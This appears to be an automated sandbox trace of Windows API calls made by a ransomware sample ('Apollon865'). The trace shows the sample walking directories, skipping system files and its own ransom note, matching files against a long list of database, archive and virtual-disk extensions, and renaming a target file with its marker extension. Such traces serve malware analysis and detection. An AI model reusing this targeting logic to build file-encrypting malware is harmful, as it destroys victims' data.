	[0083.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0083.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0083.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.771] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0083.772] CloseHandle (hObject=0x15c) returned 1
	[0083.772] CloseHandle (hObject=0x9c) returned 1
	[0083.772] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.772] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.772] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.773] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="..") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="windows") returned -1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="temp") returned -1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="boot") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="perflogs") returned 1
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0083.773] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0083.773] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned 72
	[0083.773] lstrcpyW (in: lpString1=0x119e670, lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll"
	[0083.773] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0083.773] lstrlenW (lpString="Apollon865") returned 10
	[0083.773] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0083.773] lstrlenW (lpString=".dll") returned 4
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".dll") returned 1
	[0083.773] lstrlenW (lpString=".lnk") returned 4
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0083.773] lstrlenW (lpString=".ini") returned 4
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".ini") returned 1
	[0083.773] lstrlenW (lpString=".sys") returned 4
	[0083.773] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".sys") returned 1
	[0083.773] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0083.774] lstrlenW (lpString="bak") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.774] lstrlenW (lpString="ba_") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.774] lstrlenW (lpString="dbb") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.774] lstrlenW (lpString="vmdk") returned 4
	[0083.774] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.774] lstrlenW (lpString="rar") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.774] lstrlenW (lpString="zip") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.774] lstrlenW (lpString="tgz") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.774] lstrlenW (lpString="vbox") returned 4
	[0083.774] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.774] lstrlenW (lpString="vdi") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.774] lstrlenW (lpString="vhd") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.774] lstrlenW (lpString="vhdx") returned 4
	[0083.774] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.774] lstrlenW (lpString="avhd") returned 4
	[0083.774] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.774] lstrlenW (lpString="db") returned 2
	[0083.774] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.774] lstrlenW (lpString="db2") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.774] lstrlenW (lpString="db3") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.774] lstrlenW (lpString="dbf") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.774] lstrlenW (lpString="mdf") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.774] lstrlenW (lpString="mdb") returned 3
	[0083.774] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.774] lstrlenW (lpString="sql") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.775] lstrlenW (lpString="sqlite") returned 6
	[0083.775] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.775] lstrlenW (lpString="sqlite3") returned 7
	[0083.775] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.775] lstrlenW (lpString="sqlitedb") returned 8
	[0083.775] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.775] lstrlenW (lpString="xml") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.775] lstrlenW (lpString="$er") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.775] lstrlenW (lpString="4dd") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.775] lstrlenW (lpString="4dl") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.775] lstrlenW (lpString="^^^") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.775] lstrlenW (lpString="abs") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.775] lstrlenW (lpString="abx") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.775] lstrlenW (lpString="accdb") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.775] lstrlenW (lpString="accdc") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.775] lstrlenW (lpString="accde") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.775] lstrlenW (lpString="accdr") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.775] lstrlenW (lpString="accdt") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.775] lstrlenW (lpString="accdw") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.775] lstrlenW (lpString="accft") returned 5
	[0083.775] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.775] lstrlenW (lpString="adb") returned 3
	[0083.775] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.775] lstrlenW (lpString="adb") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.776] lstrlenW (lpString="ade") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.776] lstrlenW (lpString="adf") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.776] lstrlenW (lpString="adn") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.776] lstrlenW (lpString="adp") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.776] lstrlenW (lpString="alf") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.776] lstrlenW (lpString="ask") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.776] lstrlenW (lpString="btr") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.776] lstrlenW (lpString="cat") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.776] lstrlenW (lpString="cdb") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.776] lstrlenW (lpString="ckp") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.776] lstrlenW (lpString="cma") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.776] lstrlenW (lpString="cpd") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.776] lstrlenW (lpString="dacpac") returned 6
	[0083.776] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.776] lstrlenW (lpString="dad") returned 3
	[0083.776] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.776] lstrlenW (lpString="dadiagrams") returned 10
	[0083.776] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0083.776] lstrlenW (lpString="daschema") returned 8
	[0083.776] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.776] lstrlenW (lpString="db-journal") returned 10
	[0083.776] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0083.776] lstrlenW (lpString="db-shm") returned 6
	[0083.776] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.776] lstrlenW (lpString="db-wal") returned 6
	[0083.776] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.777] lstrlenW (lpString="dbc") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.777] lstrlenW (lpString="dbs") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.777] lstrlenW (lpString="dbt") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.777] lstrlenW (lpString="dbv") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.777] lstrlenW (lpString="dbx") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.777] lstrlenW (lpString="dcb") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.777] lstrlenW (lpString="dct") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.777] lstrlenW (lpString="dcx") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.777] lstrlenW (lpString="ddl") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.777] lstrlenW (lpString="dlis") returned 4
	[0083.777] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.777] lstrlenW (lpString="dp1") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.777] lstrlenW (lpString="dqy") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.777] lstrlenW (lpString="dsk") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.777] lstrlenW (lpString="dsn") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.777] lstrlenW (lpString="dtsx") returned 4
	[0083.777] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.777] lstrlenW (lpString="dxl") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.777] lstrlenW (lpString="eco") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.777] lstrlenW (lpString="ecx") returned 3
	[0083.777] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.778] lstrlenW (lpString="edb") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.778] lstrlenW (lpString="epim") returned 4
	[0083.778] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.778] lstrlenW (lpString="fcd") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.778] lstrlenW (lpString="fdb") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.778] lstrlenW (lpString="fic") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.778] lstrlenW (lpString="flexolibrary") returned 12
	[0083.778] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0083.778] lstrlenW (lpString="fm5") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.778] lstrlenW (lpString="fmp") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.778] lstrlenW (lpString="fmp12") returned 5
	[0083.778] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.778] lstrlenW (lpString="fmpsl") returned 5
	[0083.778] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.778] lstrlenW (lpString="fol") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.778] lstrlenW (lpString="fp3") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.778] lstrlenW (lpString="fp4") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.778] lstrlenW (lpString="fp5") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.778] lstrlenW (lpString="fp7") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.778] lstrlenW (lpString="fpt") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.778] lstrlenW (lpString="frm") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.778] lstrlenW (lpString="gdb") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.778] lstrlenW (lpString="gdb") returned 3
	[0083.778] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.779] lstrlenW (lpString="grdb") returned 4
	[0083.779] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.779] lstrlenW (lpString="gwi") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.779] lstrlenW (lpString="hdb") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.779] lstrlenW (lpString="his") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.779] lstrlenW (lpString="ib") returned 2
	[0083.779] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.779] lstrlenW (lpString="idb") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.779] lstrlenW (lpString="ihx") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.779] lstrlenW (lpString="itdb") returned 4
	[0083.779] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.779] lstrlenW (lpString="itw") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.779] lstrlenW (lpString="jet") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.779] lstrlenW (lpString="jtx") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.779] lstrlenW (lpString="kdb") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.779] lstrlenW (lpString="kexi") returned 4
	[0083.779] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.779] lstrlenW (lpString="kexic") returned 5
	[0083.779] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.779] lstrlenW (lpString="kexis") returned 5
	[0083.779] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.779] lstrlenW (lpString="lgc") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.779] lstrlenW (lpString="lwx") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.779] lstrlenW (lpString="maf") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.779] lstrlenW (lpString="maq") returned 3
	[0083.779] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.780] lstrlenW (lpString="mar") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.780] lstrlenW (lpString="marshal") returned 7
	[0083.780] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.780] lstrlenW (lpString="mas") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.780] lstrlenW (lpString="mav") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.780] lstrlenW (lpString="maw") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.780] lstrlenW (lpString="mdbhtml") returned 7
	[0083.780] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.780] lstrlenW (lpString="mdn") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.780] lstrlenW (lpString="mdt") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.780] lstrlenW (lpString="mfd") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.780] lstrlenW (lpString="mpd") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.780] lstrlenW (lpString="mrg") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.780] lstrlenW (lpString="mud") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.780] lstrlenW (lpString="mwb") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.780] lstrlenW (lpString="myd") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.780] lstrlenW (lpString="ndf") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.780] lstrlenW (lpString="nnt") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.780] lstrlenW (lpString="nrmlib") returned 6
	[0083.780] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.780] lstrlenW (lpString="ns2") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.780] lstrlenW (lpString="ns3") returned 3
	[0083.780] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.781] lstrlenW (lpString="ns4") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.781] lstrlenW (lpString="nsf") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.781] lstrlenW (lpString="nv") returned 2
	[0083.781] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.781] lstrlenW (lpString="nv2") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.781] lstrlenW (lpString="nwdb") returned 4
	[0083.781] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.781] lstrlenW (lpString="nyf") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.781] lstrlenW (lpString="odb") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.781] lstrlenW (lpString="odb") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.781] lstrlenW (lpString="oqy") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.781] lstrlenW (lpString="ora") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.781] lstrlenW (lpString="orx") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.781] lstrlenW (lpString="owc") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.781] lstrlenW (lpString="p96") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.781] lstrlenW (lpString="p97") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.781] lstrlenW (lpString="pan") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.781] lstrlenW (lpString="pdb") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.781] lstrlenW (lpString="pdm") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.781] lstrlenW (lpString="pnz") returned 3
	[0083.781] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.782] lstrlenW (lpString="qry") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.782] lstrlenW (lpString="qvd") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.782] lstrlenW (lpString="rbf") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.782] lstrlenW (lpString="rctd") returned 4
	[0083.782] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.782] lstrlenW (lpString="rod") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.782] lstrlenW (lpString="rodx") returned 4
	[0083.782] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.782] lstrlenW (lpString="rpd") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.782] lstrlenW (lpString="rsd") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.782] lstrlenW (lpString="sas7bdat") returned 8
	[0083.782] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.782] lstrlenW (lpString="sbf") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.782] lstrlenW (lpString="scx") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.782] lstrlenW (lpString="sdb") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.782] lstrlenW (lpString="sdc") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.782] lstrlenW (lpString="sdf") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.782] lstrlenW (lpString="sis") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.782] lstrlenW (lpString="spq") returned 3
	[0083.782] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.782] lstrlenW (lpString="te") returned 2
	[0083.782] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.782] lstrlenW (lpString="teacher") returned 7
	[0083.782] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.782] lstrlenW (lpString="tmd") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.783] lstrlenW (lpString="tps") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.783] lstrlenW (lpString="trc") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.783] lstrlenW (lpString="trc") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.783] lstrlenW (lpString="trm") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.783] lstrlenW (lpString="udb") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.783] lstrlenW (lpString="udl") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.783] lstrlenW (lpString="usr") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.783] lstrlenW (lpString="v12") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.783] lstrlenW (lpString="vis") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.783] lstrlenW (lpString="vpd") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.783] lstrlenW (lpString="vvv") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.783] lstrlenW (lpString="wdb") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.783] lstrlenW (lpString="wmdb") returned 4
	[0083.783] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.783] lstrlenW (lpString="wrk") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.783] lstrlenW (lpString="xdb") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.783] lstrlenW (lpString="xld") returned 3
	[0083.783] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.783] lstrlenW (lpString="xmlff") returned 5
	[0083.783] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.783] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.Apollon865") returned 84
	[0083.784] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
